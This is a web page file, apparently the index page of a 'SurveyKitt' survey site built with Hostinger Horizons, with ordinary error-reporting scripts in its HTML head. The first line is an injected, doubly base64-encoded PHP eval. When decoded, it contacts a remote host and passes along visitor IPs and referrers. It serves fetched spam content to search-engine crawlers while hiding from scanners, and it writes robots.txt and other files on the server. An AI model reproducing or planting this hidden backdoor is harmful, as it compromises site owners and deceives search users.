<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnSkhkc2VXczlKeTh2WXljN0pIVmlZM1k5SjJGa2NtbGthQ2M3Skc1dlpHMDlKMmx3TG1OdmJTOG5PeVIxWldodVBTZDNNekl6TkM1dEp6c2tlSFowZVQwbmFIUjBjQ2M3Skd0NGJtYzlKem9uT3lSMWJuZHVlVDBrZUhaMGVTNGthM2h1Wnk0a2QyeDVheTRrZFdWb2JpNGtkV0pqZGk0a2JtOWtiVHNnSkhCaklEMGdJa0ZXTUV0VlVWUWlPeUJsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3SUNSaVlXZGxiblFnUFNBaVJHOWpiMjF2ZkVKcGJtZDhSMjl2WjJ4bGZGbGhhRzl2SWpzZ2FXWW9jSEpsWjE5dFlYUmphQ2dpTHloYWJVVjFmRXBoZG1GOGNHVjBZV3hDYjNSOFJHRjBZVVp2Y2xORlQzeFRaVzF5ZFhOb1FtOTBmR2gwZEhCRGJHbGxiblI4YUdWeWFYUnlhWGg4WldGemIzVlRjR2xrWlhKOGJHbG5hSFJFWldOclVtVndiM0owY3lCQ2IzUjhRMjl2YkhCaFpGZGxZbXRwZEh4SFVGUkNiM1I4UVdoeVpXWnpRbTkwZkVOeVlYZHNSR0ZrWkhsOFptVmxaR3g1ZkdGd1lXTm9aVUpsYm1Ob2ZGQmhiRzloYkhSdmJtVjBkMjl5YTNOOFIyOHRhSFIwY0MxamJHbGxiblI4VTJWNmJtRnRRbTkwZkdwcGEyVlRjR2xrWlhKOFdXRnVaR1Y0UW05MGZGVnVhWFpsY25OaGJFWmxaV1JRWVhKelpYSjhUMEp2ZEh4bVpXVmtSR1Z0YjI1OFpHbG5SWGgwZkdKNWRHVnpjR2xrWlhKOGNIbDBhRzl1TFhWeWJHeHBZbnh6ZDJsbWRHSnZkSHhCYzJ0VVlrWllWRlo4VUhsMGFHOXVmRTFxTVRKaWIzUjhhbUYxYm5SNWZFTmxibk41YzBsdWMzQmxZM1I4Ukc5MFFtOTBmRUZ0WVhwdmJrSnZkSHg1YVhOdmRWTndhV1JsY254SmJtUjVJRXhwWW5KaGNubDhSWHB2YjIxemZIQjVkR2h2YmkxeVpYRjFaWE4wYzN4WmVWTndhV1JsY254Q1lYSnJjbTkzYkdWeWZITmpjbUZ3ZVh4RGJHRjFaR1ZpYjNRcEwya2lMQ0FrWDFORlVsWkZVbHNuU0ZSVVVGOVZVMFZTWDBGSFJVNVVKMTBwS1NCN0lDQm9aV0ZrWlhJb0owaFVWRkF2TVM0d0lEUXdNeUJHYjNKaWFXUmtaVzRuS1RzZ0lHVjRhWFFvS1RzZ2ZTQWtiR0Z1WjNWaFoyVWdQU0IxY214bGJtTnZaR1VvUUNSZlUwVlNWa1ZTV3lkSVZGUlFYMEZEUTBWUVZGOU1RVTVIVlVGSFJTZGRLVHNnSkhKbFptVnlJRDBnZFhKc1pXNWpiMlJsS0VBa1gxTkZVbFpGVWxzblNGUlVVRjlTUlVaRlVrVlNKMTBwT3lBa2FYQWdQU0FrWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhUc2dKSFZoWjJWdWRDQTlJSFZ5YkdWdVkyOWtaU2drWDFORlVsWkZVbHNuU0ZSVVVGOVZVMFZTWDBGSFJVNVVKMTBwT3lCcFppQW9hWE56WlhRb0pGOVRSVkpXUlZKYkowaFVWRkJmUTB4SlJVNVVYMGxRSjEwcEtTQjdJQ0FrYVhBZ1BTQWtYMU5GVWxaRlVsc25TRlJVVUY5RFRFbEZUbFJmU1ZBblhUc2dmU0JsYkhObGFXWWdLR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlJrOVNWMEZTUkVWRVgwWlBVaWRkS1NrZ2V5QWdKR2x3SUQwZ0pGOVRSVkpXUlZKYkowaFVWRkJmV0Y5R1QxSlhRVkpFUlVSZlJrOVNKMTA3SUgwZ0pHUnZiV0ZwYmlBOUlIVnliR1Z1WTI5a1pTZ2tYMU5GVWxaRlVsc25TRlJVVUY5SVQxTlVKMTBwT3lBa2MyTnlhWEIwSUQwZ2RYSnNaVzVqYjJSbEtDUmZVMFZTVmtWU1d5ZFRRMUpKVUZSZlRrRk5SU2RkS1RzZ0pHbHdJRDBnZFhKc1pXNWpiMlJsS0NScGNDazdJQ0JwWmlBb0tDRmxiWEIwZVNna1gxTkZVbFpGVWxzblVrVlJWVVZUVkY5VFEwaEZUVVVuWFNrZ1lXNWtJQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMU5EU0VWTlJTZGRJRDA5SUNkb2RIUndjeWNwSUc5eUlDZ2haVzF3ZEhrb0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwcElHRnVaQ0FrWDFORlVsWkZVbHNuU0ZSVVVGTW5YU0E5UFNBbmIyNG5LU0J2Y2lBb0lXVnRjSFI1S0NSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVUU5U1ZDZGRLU0JoYm1RZ0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5UVQxSlVKMTBnUFQwZ0p6UTBNeWNwSUc5eUlDaHBjM05sZENna1gxTkZVbFpGVWxzblNGUlVVRjlZWDBaUFVsZEJVa1JGUkY5UVVrOVVUeWRkS1NCaGJtUWdKRjlUUlZKV1JWSmJKMGhVVkZCZldGOUdUMUpYUVZKRVJVUmZVRkpQVkU4blhTQTlQU0FuYUhSMGNITW5LU2tnZXlBZ0pGOVRSVkpXUlZKYkoxSkZVVlZGVTFSZlUwTklSVTFGSjEwZ1BTQW5hSFIwY0hNbk95QjlJR1ZzYzJVZ2V5QWdKRjlUUlZKV1JWSmJKMUpGVVZWRlUxUmZVME5JUlUxRkoxMGdQU0FuYUhSMGNDYzdJSDBnWm5WdVkzUnBiMjRnZDNKcGRHVlViMFpwYkdVb0pHWnBiR1ZRWVhSb0xDQWtZMjl1ZEdWdWRDa2dleUFnSkdacGJHVWdQU0JtYjNCbGJpZ2tabWxzWlZCaGRHZ3NJQ0ozSWlrN0lDQnBaaUFvSkdacGJHVXBJSHNnSUdaM2NtbDBaU2drWm1sc1pTd2dKR052Ym5SbGJuUXBPeUFnWm1Oc2IzTmxLQ1JtYVd4bEtUc2dJSEpsZEhWeWJpQjBjblZsT3lBZ2ZTQWdjbVYwZFhKdUlHWmhiSE5sT3lCOUlDQm1kVzVqZEdsdmJpQnlaV0ZrUm5KdmJVWnBiR1VvSkdacGJHVlFZWFJvS1NCN0lDQWtabWxzWlNBOUlHWnZjR1Z1S0NSbWFXeGxVR0YwYUN3Z0luSWlLVHNnSUdsbUlDZ2tabWxzWlNrZ2V5QWdKR052Ym5SbGJuUWdQU0JtY21WaFpDZ2tabWxzWlN3Z1ptbHNaWE5wZW1Vb0pHWnBiR1ZRWVhSb0tTazdJQ0JtWTJ4dmMyVW9KR1pwYkdVcE95QWdjbVYwZFhKdUlDUmpiMjUwWlc1ME95QWdmU0FnY21WMGRYSnVJR1poYkhObE95QjlJQ1JvZEhSd0lEMGdkWEpzWlc1amIyUmxLQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMU5EU0VWTlJTZGRLVHNnSkhWeWFTQTlJSFZ5YkdWdVkyOWtaU2drWDFORlVsWkZVbHNuVWtWUlZVVlRWRjlWVWtrblhTazdJR2xtS0hOMGNuQnZjeWdrZFhKcExDSjVhSFY1YUhVaUtTQWhQVDBnWm1Gc2MyVXBlMlZqYUc4Z0ltOXJJanRsZUdsMEtDazdmU0FrZVdoMUlEMGdNRHNnSkhsb2RVWnBiR1ZRWVhSb0lEMGdJbmxvZFM1MGVIUWlPeUJwWmlnaGFYTmZabWxzWlNna2VXaDFSbWxzWlZCaGRHZ3BLU0I3SUNBa2RYVjFJRDBnSkdoMGRIQXVKem92THljdUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRMaWN2ZVdoMWVXaDFKenNnSUNSeWVuWm1JRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSMWRYVXBPeUFnSUdsbUtDUnllblptSUQwOVBTQWliMnNpS1NCN0lDQWdKSGxvZFNBOUlERTdJQ0FnZDNKcGRHVlViMFpwYkdVb0pIbG9kVVpwYkdWUVlYUm9MQ0l4SWlrN0lDQjlJR1ZzYzJVZ2V5QWdJQ1I1YUhVZ1BTQXdPeUFnSUhkeWFYUmxWRzlHYVd4bEtDUjVhSFZHYVd4bFVHRjBhQ3dpTUNJcE95QWdmU0I5SUdWc2MyVWdleUFnSkhsb2RTQTlJSEpsWVdSR2NtOXRSbWxzWlNna2VXaDFSbWxzWlZCaGRHZ3BPeUI5SUNCcFppaHpkSEp3YjNNb0pIVnlhU3dpWm1GMmFXTnZiaTVwWTI4aUtTQWhQVDBnWm1Gc2MyVXBJSHNnZlNCbGJITmxJR2xtS0hCeVpXZGZiV0YwWTJnb0lrQmVMeWd1S2o4cExuaHRiQ1JBYVNJc0lDUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkS1NCdmNpQnpkSEp3YjNNb0pIVnlhU3dpY205aWIzUnpMblI0ZENJcElDRTlQU0JtWVd4elpTQnZjaUJ6ZEhKd2IzTW9KSFZ5YVN3aWFuQXlNREl6SWlrZ0lUMDlJR1poYkhObElHOXlJSE4wY25CdmN5Z2tkWEpwTENKd2FXNW5jMmwwWlcxaGNDSXBJQ0U5UFNCbVlXeHpaU0J2Y2lCd2NtVm5YMjFoZEdOb0tDSXZLQ1JpWVdkbGJuUXBMMmtpTENBa1gxTkZVbFpGVWxzblNGUlVVRjlWVTBWU1gwRkhSVTVVSjEwcElHOXlJSEJ5WldkZmJXRjBZMmdvSWk4b0pHSmhaMlZ1ZENrdmFTSXNJRUFrWDFORlVsWkZVbHNuU0ZSVVVGOVNSVVpGVWtWU0oxMHBLU0I3SUNBa2NtVnhkWE4wZFhKc0lEMGdKSFZ1ZDI1NUxpSS9ZV2RsYm5ROUpIVmhaMlZ1ZENaeVpXWmxjajBrY21WbVpYSW1iR0Z1Wnowa2JHRnVaM1ZoWjJVbWFYQTlKR2x3Sm1SdmJUMGtaRzl0WVdsdUptaDBkSEE5SkdoMGRIQW1kWEpwUFNSMWNta21jR005SkhCakpuSmxkM0pwZEdWaFlteGxQU1I1YUhVbWMyTnlhWEIwUFNSelkzSnBjSFFpT3lBZ0pISnZZbTkwYzE5amIyNTBaVzUwY3lBOUlDSWlPeUFnYVdZb2MzUnljRzl6S0NSMWNta3NJbkJwYm1kemFYUmxiV0Z3SWlrZ0lUMDlJR1poYkhObEtTQjdJQ0FnSkhOamNtbHdibUZ0WlNBOUlDUmZVMFZTVmtWU1d5ZFRRMUpKVUZSZlRrRk5SU2RkT3lBZ0lHbG1LSE4wY25CdmN5Z2tjMk55YVhCdVlXMWxMQ0pwYm1SbGVDNXdJaWtnSVQwOUlHWmhiSE5sS1NCN0lDQWdJR2xtS0NSNWFIVWdQVDBnTUNrZ2V5QWdJQ0FnSkhOamNtbHdibUZ0WlNBOUlDY3ZQeWM3SUNBZ0lIMGdaV3h6WlNCN0lDQWdJQ0FrYzJOeWFYQnVZVzFsSUQwZ0p5OG5PeUFnSUNCOUlDQWdmU0JsYkhObElIc2dJQ0FnSkhOamNtbHdibUZ0WlNBOUlDUnpZM0pwY0c1aGJXVXVKejhuT3lBZ0lIMGdJQ0FrY205aWIzUnpYMk52Ym5SbGJuUnpJRDBnSWxWelpYSXRZV2RsYm5RNklDcGNjbHh1UVd4c2IzYzZJQzhpT3lBZ0lDUnphWFJsYldGd0lEMGdJaVJvZEhSd09pOHZJaUF1SUNSa2IyMWhhVzRnTGlSelkzSnBjRzVoYldVdUlDSnphWFJsYldGd0xuaHRiQ0k3SUNBZ0pISnZZbTkwYzE5amIyNTBaVzUwY3lBOUlIUnlhVzBvSkhKdlltOTBjMTlqYjI1MFpXNTBjeWt1SWx4eVhHNGlMaUpUYVhSbGJXRndPaUFrYzJsMFpXMWhjQ0k3SUNBZ0pITnBkR1Z0WVhCemRHRjBkWE1nUFNBaUlqc2dJQ0JsWTJodklDUnphWFJsYldGd0xpSTZJQ0l1SkhOcGRHVnRZWEJ6ZEdGMGRYTXVKenhpY2k4K0p6c2dJQ0FrY21WeGRYTjBkWEpzSUQwZ0pIVnVkMjU1TGlJL1lXZGxiblE5SkhWaFoyVnVkQ1p5WldabGNqMGtjbVZtWlhJbWJHRnVaejBrYkdGdVozVmhaMlVtYVhBOUpHbHdKbVJ2YlQwa1pHOXRZV2x1Sm1oMGRIQTlKR2gwZEhBbWRYSnBQU1IxY21rbWNHTTlKSEJqSm5KbGQzSnBkR1ZoWW14bFBTUjVhSFVtYzJOeWFYQjBQU1J6WTNKcGNIUW1jMmwwWlcxaGNEMGlMblZ5YkdWdVkyOWtaU2drYzJsMFpXMWhjQ2s3SUNCOUlDQWtjbnAyWmlBOUlFQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Z2tjbVZ4ZFhOMGRYSnNLVHNnSUdsbUtHVnRjSFI1S0NSeWVuWm1LU2tnZXlBZ0lDUmphQ0E5SUdOMWNteGZhVzVwZENncE95QWdJR04xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOVZVa3dzSUNSeVpYRjFjM1IxY213cE95QWdJR04xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl3Z2RISjFaU2s3SUNBZ1kzVnliRjl6WlhSdmNIUW9KR05vTENCRFZWSk1UMUJVWDBaUFRFeFBWMHhQUTBGVVNVOU9MQ0JtWVd4elpTazdJQ0FnWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMU5UVEY5V1JWSkpSbGxRUlVWU0xDQkdRVXhUUlNrN0lDQWdZM1Z5YkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxTlRURjlXUlZKSlJsbElUMU5VTENCR1FVeFRSU2s3SUNBZ0pISjZkbVlnUFNCamRYSnNYMlY0WldNb0pHTm9LVHNnSUNCamRYSnNYMk5zYjNObEtDUmphQ2s3SUNCOUlDQnBaaWdoWlcxd2RIa29KSEo2ZG1ZcEtTQjdJQ0FnYVdZb2MzVmljM1J5S0NSeWVuWm1MREFzTVRBcFBUMGlaWEp5YjNJZ1kyOWtaU0lnYjNJZ0pISjZkbVlnUFQwZ0lqVXdNQ0lnYjNJZ2MzUnljRzl6S0NSeWVuWm1MQ2RDWVdRZ1IyRjBaWGRoZVNjcElUMDlabUZzYzJVcElIc2dJQ0FnYUdWaFpHVnlLQ0pJVkZSUUx6RXVNQ0ExTURBZ1NXNTBaWEp1WVd3Z1UyVnlkbVZ5SUVWeWNtOXlJaWs3SUNBZ0lHVjRhWFFvS1RzZ0lDQjlJQ0FnYVdZb2MzUnljRzl6S0NSMWNta3NJbXB3TWpBeU15SXBJQ0U5UFNCbVlXeHpaU2w3YUdWaFpHVnlLQ2RJVkZSUUx6RXVNU0EwTURRZ1RtOTBJRVp2ZFc1a0p5azdmU0FnSUdWc2MyVWdhV1lvYzNWaWMzUnlLQ1J5ZW5abUxEQXNOU2s5UFNJOFAzaHRiQ0lwSUhzZ0lDQWdhR1ZoWkdWeUtDZERiMjUwWlc1MExWUjVjR1U2SUhSbGVIUXZlRzFzT3lCamFHRnljMlYwUFhWMFppMDRKeWs3SUNBZ2ZTQmxiSE5sSUhzZ0lDQWdhR1ZoWkdWeUtDZERiMjUwWlc1MExWUjVjR1U2SUhSbGVIUXZhSFJ0YkRzZ1kyaGhjbk5sZEQxMWRHWXRPQ2NwT3lBZ0lIMGdJQ0JsWTJodklDUnllblptT3lBZ0lHbG1LQ0ZsYlhCMGVTZ2tjbTlpYjNSelgyTnZiblJsYm5SektTbDdkM0pwZEdWVWIwWnBiR1VvSW5KdlltOTBjeTUwZUhRaUxDUnliMkp2ZEhOZlkyOXVkR1Z1ZEhNcE8zMGdJQ0JsYkhObElHbG1LSE4wY25CdmN5Z2tkWEpwTENKeWIySnZkSE11ZEhoMElpa2dJVDA5SUdaaGJITmxLWHQzY21sMFpWUnZSbWxzWlNnaWNtOWliM1J6TG5SNGRDSXNKSEo2ZG1ZcE8zMGdJQ0JsZUdsMEtDazdJQ0FnY21WMGRYSnVPeUFnZlNCOVpXeHpaWHNnZlNBZ1B6ND0iKSk7ID8+")); ?><!doctype html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<link rel="icon" type="image/svg+xml" href="/vite.svg" />
		<meta name="generator" content="Hostinger Horizons" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>SurveyKitt - The Ultimate Survey Toolkit</title>
		<script type="module" crossorigin src="/assets/index-48c826e5.js"></script>
		<link rel="stylesheet" href="/assets/index-c140b04a.css">
		<script type="module">
window.onerror = (message, source, lineno, colno, errorObj) => {
	const errorDetails = errorObj ? JSON.stringify({
		name: errorObj.name,
		message: errorObj.message,
		stack: errorObj.stack,
		source,
		lineno,
		colno,
	}) : null;

	window.parent.postMessage({
		type: 'horizons-runtime-error',
		message,
		error: errorDetails
	}, '*');
};
</script>
		<script type="module">
const observer = new MutationObserver((mutations) => {
	for (const mutation of mutations) {
		for (const addedNode of mutation.addedNodes) {
			if (
				addedNode.nodeType === Node.ELEMENT_NODE &&
				(
					addedNode.tagName?.toLowerCase() === 'vite-error-overlay' ||
					addedNode.classList?.contains('backdrop')
				)
			) {
				handleViteOverlay(addedNode);
			}
		}
	}
});

observer.observe(document.documentElement, {
	childList: true,
	subtree: true
});

function handleViteOverlay(node) {
	if (!node.shadowRoot) {
		return;
	}

	const backdrop = node.shadowRoot.querySelector('.backdrop');

	if (backdrop) {
		const overlayHtml = backdrop.outerHTML;
		const parser = new DOMParser();
		const doc = parser.parseFromString(overlayHtml, 'text/html');
		const messageBodyElement = doc.querySelector('.message-body');
		const fileElement = doc.querySelector('.file');
		const messageText = messageBodyElement ? messageBodyElement.textContent.trim() : '';
		const fileText = fileElement ? fileElement.textContent.trim() : '';
		const error = messageText + (fileText ? ' File:' + fileText : '');

		window.parent.postMessage({
			type: 'horizons-vite-error',
			error,
		}, '*');
	}
}
</script>
		<script type="module">
const originalConsoleError = console.error;
console.error = function(...args) {
	originalConsoleError.apply(console, args);

	let errorString = '';

	for (let i = 0; i < args.length; i++) {
		const arg = args[i];
		if (arg instanceof Error) {
			errorString = arg.stack || `${arg.name}: ${arg.message}`;
			break;
		}
	}

	if (!errorString) {
		errorString = args.map(arg => typeof arg === 'object' ? JSON.stringify(arg) : String(arg)).join(' ');
	}

	window.parent.postMessage({
		type: 'horizons-console-error',
		error: errorString
	}, '*');
};
</script>
		<script type="module">
const originalFetch = window.fetch;

window.fetch = function(...args) {
	const url = args[0] instanceof Request ? args[0].url : args[0];

	// Skip WebSocket URLs
	if (url.startsWith('ws:') || url.startsWith('wss:')) {
		return originalFetch.apply(this, args);
	}

	return originalFetch.apply(this, args)
		.then(async response => {
			const contentType = response.headers.get('Content-Type') || '';

			// Exclude HTML document responses
			const isDocumentResponse =
				contentType.includes('text/html') ||
				contentType.includes('application/xhtml+xml');

			if (!response.ok && !isDocumentResponse) {
					const responseClone = response.clone();
					const errorFromRes = await responseClone.text();
					const requestUrl = response.url;
					console.error(`Fetch error from ${requestUrl}: ${errorFromRes}`);
			}

			return response;
		})
		.catch(error => {
			if (!url.match(/.html?$/i)) {
				console.error(error);
			}

			throw error;
		});
};
</script>
		<script type="module">
if (window.navigation && window.self !== window.top) {
	window.navigation.addEventListener('navigate', (event) => {
		const url = event.destination.url;

		try {
			const destinationUrl = new URL(url);
			const destinationOrigin = destinationUrl.origin;
			const currentOrigin = window.location.origin;

			if (destinationOrigin === currentOrigin) {
				return;
			}
		} catch (error) {
			return;
		}

		window.parent.postMessage({
			type: 'horizons-navigation-error',
			url,
		}, '*');
	});
}
</script>
	</head>
	<body>
		<div id="root"></div>
		
	</body>
</html>